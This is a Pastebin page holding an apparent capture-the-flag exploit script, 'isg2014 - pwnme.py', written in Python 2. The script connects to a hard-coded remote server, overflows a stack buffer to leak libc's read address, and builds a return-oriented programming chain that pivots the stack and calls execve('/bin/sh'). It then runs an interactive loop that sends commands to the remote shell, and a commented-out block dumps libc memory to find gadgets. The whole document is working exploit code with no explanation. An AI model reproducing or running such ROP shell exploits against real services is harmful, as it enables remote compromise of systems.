Advertisement
Guest User

isg2014 - pwnme.py

a guest
Sep 28th, 2014
408
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | None | 0 0
  1. import socket
  2. import sys
  3. import time
  4. import struct
  5. import re
  6.  
  7. def R():
  8.   global sk
  9.   return sk.recv(4096000)
  10.  
  11. def S(x):
  12.   global sk
  13.   return sk.send(x)
  14.  
  15. def PQ(x):
  16.   return struct.pack('Q', x)
  17.  
  18. '''
  19. def dump(offset,size=65536):
  20.  global sk
  21.  sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22.  sk.connect(('202.120.7.75',34343))
  23.  
  24.  R()
  25.  
  26.  plt_write = 0x400480
  27.  text_main = 0x4005BD
  28.  
  29.  S('A'*16 + PQ(0x601040) + PQ(0x4005E3))
  30.  S(PQ(0x601048) + PQ(0x4005D9) + PQ(0x601030) + PQ(0x4005E3))
  31.  time.sleep(0.5)
  32.  S('A')
  33.  x = R()
  34.  libc_read = struct.unpack('Q',(x[8:16]))[0]
  35.  S(PQ(0x40065A)+PQ(0)+PQ(0)+PQ(0x601070)+PQ(size)+PQ(libc_read+offset)+PQ(0)+PQ(0x400640)+PQ(0x4005D9))
  36.  s = ''
  37.  while len(s)<size:
  38.    s += R()
  39.  sk.close()
  40.  return s
  41.  
  42. print dump(52203,2).encode('hex')
  43. print dump(117061,2).encode('hex')
  44. print dump(315,2).encode('hex')
  45. print dump(6786,2).encode('hex')
  46. print dump(61685,3).encode('hex')
  47. '''
  48.  
  49. sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  50. sk.connect(('202.120.7.75',34343))
  51. print R()
  52.  
  53. S('A'*16 + PQ(0x601040) + PQ(0x4005E3))
  54. S(PQ(0x601048) + PQ(0x4005D9) + PQ(0x601030) + PQ(0x4005E3))
  55. time.sleep(0.5)
  56. S('A')
  57. libc_read = struct.unpack('Q',(R()[8:16]))[0]
  58. print 'read@libc', hex(libc_read)
  59.  
  60. pop_rbp_ret = 0x400515
  61. leave_ret = 0x4005FE
  62. pop_rax_ret = libc_read + 52203
  63. pop_rdx_ret = libc_read + 117061
  64. pop_rdi_ret = libc_read + 315
  65. pop_rsi_ret = libc_read + 6786
  66. syscall = libc_read + 61685
  67.  
  68. new_esp = 0x601800
  69. S(PQ(pop_rdi_ret)+PQ(0)+
  70.     PQ(pop_rsi_ret)+PQ(new_esp)+
  71.     PQ(pop_rdx_ret)+PQ(0x400)+
  72.     PQ(pop_rax_ret)+PQ(0)+
  73.     PQ(syscall)+
  74.     PQ(pop_rbp_ret)+PQ(new_esp)+PQ(leave_ret))
  75. data = new_esp+0x200
  76. S((PQ(0)+
  77.   PQ(pop_rdi_ret)+PQ(data)+
  78.   PQ(pop_rsi_ret)+PQ(data+0x10)+
  79.   PQ(pop_rdx_ret)+PQ(data+0x18)+
  80.   PQ(pop_rax_ret)+PQ(59)+
  81.   PQ(syscall)
  82.   ).ljust(0x200,'\x00')+
  83.  
  84.   "/bin/sh".ljust(0x10,'\x00')+ #0x0
  85.   PQ(data) + #0x10
  86.   PQ(0) #0x18
  87.   )
  88.  
  89. while True:
  90.   cmd = raw_input('$ ')
  91.   S(cmd+'\n')
  92.   time.sleep(1)
  93.   print R()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement